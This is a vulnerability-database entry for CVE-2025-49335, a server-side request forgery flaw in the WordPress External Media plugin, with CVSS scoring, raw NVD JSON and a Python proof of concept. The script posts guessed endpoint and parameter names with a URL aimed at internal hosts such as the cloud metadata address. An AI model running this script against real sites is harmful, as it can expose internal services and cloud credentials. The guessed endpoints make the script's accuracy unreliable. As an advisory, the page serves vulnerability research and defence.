Security Vulnerability Report
中文
CVE-2025-49335 CVSS 4.9 MEDIUM

CVE-2025-49335

Published: 2026-01-07 15:15:46
Last Modified: 2026-04-23 15:31:29

Description

Server-Side Request Forgery (SSRF) vulnerability in minnur External Media external-media allows Server Side Request Forgery.This issue affects External Media: from n/a through <= 1.0.36.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

External Media插件 <= 1.0.36

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49335 SSRF PoC - WordPress External Media Plugin # Target: WordPress site with External Media plugin <= 1.0.36 import requests import sys from urllib.parse import quote def exploit_ssrf(target_url, target_internal_host): """ Exploit SSRF vulnerability in External Media plugin target_url: Base URL of WordPress site target_internal_host: Internal host to target (e.g., 169.254.169.254 for AWS metadata) """ # Construct malicious URL targeting internal resource ssrf_payload = f"http://{target_internal_host}/latest/meta-data/" # Try different parameter names commonly used in media plugins endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/external-media/v1/import", "/wp-admin/admin.php?page=external-media" ] for endpoint in endpoints: try: # Method 1: AJAX endpoint data = { 'action': 'external_media_import', 'media_url': ssrf_payload, '_wpnonce': '' # May need valid nonce } response = requests.post( target_url + endpoint, data=data, timeout=10, verify=False ) print(f"[*] Target: {target_url + endpoint}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200 and len(response.text) > 0: print(f"[!] Potential SSRF - Response received:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[!] Error targeting {endpoint}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-49335.py <target_url> <internal_host>") print("Example: python cve-2025-49335.py http://example.com 169.254.169.254") sys.exit(1) target = sys.argv[1] internal_host = sys.argv[2] exploit_ssrf(target, internal_host)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49335", "sourceIdentifier": "[email protected]", "published": "2026-01-07T15:15:45.573", "lastModified": "2026-04-23T15:31:29.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in minnur External Media external-media allows Server Side Request Forgery.This issue affects External Media: from n/a through <= 1.0.36."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/external-media/vulnerability/wordpress-external-media-plugin-1-0-36-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}